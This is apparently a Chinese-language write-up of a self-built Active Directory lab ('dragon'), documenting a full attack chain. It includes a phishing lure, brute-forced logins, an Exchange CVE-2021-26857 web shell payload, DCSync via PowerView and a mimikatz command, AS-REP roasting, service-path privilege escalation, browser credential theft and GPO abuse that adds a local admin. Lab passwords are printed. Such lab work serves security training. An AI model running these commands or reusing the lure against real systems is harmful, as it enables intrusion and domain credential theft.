dragon 靶场WP

0r@nge

2023-12-06

靶场

靶场搭建：

https://github.com/0range-x/dragon-lab

ws01-owa钓鱼

扫描结果

ftp匿名上传

制作用户名字典

构造字典msf爆破成功，字典用的rockyou.txt

成功登录

1	gaohexie/sweetpea#1

构造话术

1
2
3

关于自测钓鱼后门的通知

您好，近期公司组织攻防演练，发现攻击方使用钓鱼邮件进行攻击，已有多名同事中招，请下载后门检测工具，扫描机器是否被横向攻击。另外，希望同时提高安全意识，谨防被钓鱼攻击

ws02-exchange rce

cve-2021-26857

成功写入shell

1	command=Response.Write(new%20ActiveXObject("Wscript.Shell").exec("whoami").Stdout.ReadAll());

python 开启web服务下载木马上线

成功上线system

定位域控

1
2
3

Add-DomainObjectAcl -TargetIdentity "DC=haishitest,DC=lab" -PrincipalIdentity gaohexie -Rights DCSync

mimi.exe "lsadump::dcsync /domain:haishitest.lab /user:administrator /csv" exit

导入powerview

添加普通用户dcsync权限

winrm登录

执行上线

抓到liaide的密码，该用户拥有dcsync权限，直接dcsync

ws04- as_rep

发现maluzi用户存在as_rep

制作行为习惯字典

https://github.com/bigb0sss/goPassGen

生成字典

爆破成功

成功登录ws04机器

发现xmanager目录

上传解密工具

抓到密码

ws05-空路径提权+dpapi解密

winrm登录服务器

先上线cs

3389远程连接

查找可以服务提权的路径

查看该服务

停止该服务

修改配置文件并启动上线

1	C:\Program Files (x86)\AnyDesk\AnyDesk.exe --service

提权成功

cs不稳定反弹到nc

上传解密工具

谷歌浏览器解密工具

https://github.com/moonD4rk/HackBrowserData/releases/tag/v0.4.3

注入到administrator进程

抓取成功

读取密码

1	zhaolinlu:tEKO4f4CQ1BPPz~LQm

ws06-08-GPO批量上线

C:\Users\zhaolinlu\Desktop>StandIn_v13_Net45.exe --gpo --filter work --acl

[?] Using DC : ws13.haishi.lab
[+] GPO result count         : 1
    |_ Result limit          : 50
    |_ Applying search filter

[?] Object   : CN={07D9CE42-10BD-436D-89AA-3B2EFAF47766}
    Path     : LDAP://CN={07D9CE42-10BD-436D-89AA-3B2EFAF47766},CN=Policies,CN=System,DC=haishi,DC=lab
    GPCFilesysPath : \\haishi.lab\SysVol\haishi.lab\Policies\{07D9CE42-10BD-436D-89AA-3B2EFAF47766}
    Path           : OK

[+] Account       : CREATOR OWNER
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : InheritOnly

[+] Account       : NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
    Type          : Allow
    Rights        : ReadAndExecute, Synchronize
    Inherited ACE : False
    Propagation   : None

[+] Account       : NT AUTHORITY\Authenticated Users
    Type          : Allow
    Rights        : ReadAndExecute, Synchronize
    Inherited ACE : False
    Propagation   : None

[+] Account       : NT AUTHORITY\SYSTEM
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : None

[+] Account       : HAISHI\Domain Admins
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : None

[+] Account       : HAISHI\Enterprise Admins
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : None

[+] Account       : HAISHI\zhaolinlu
    Type          : Allow
    Rights        : FullControl
    Inherited ACE : False
    Propagation   : None

建立计划任务

1	StandIn_v13_Net45.exe --gpo --filter work --tasktype computer --taskname task01 --author "haishi\Administrator" --command "powershell.exe /c" --args "net localgroup 'administrators' zhaolinlu /add"

https://github.com/rootSySdk/PowerGPOAbuse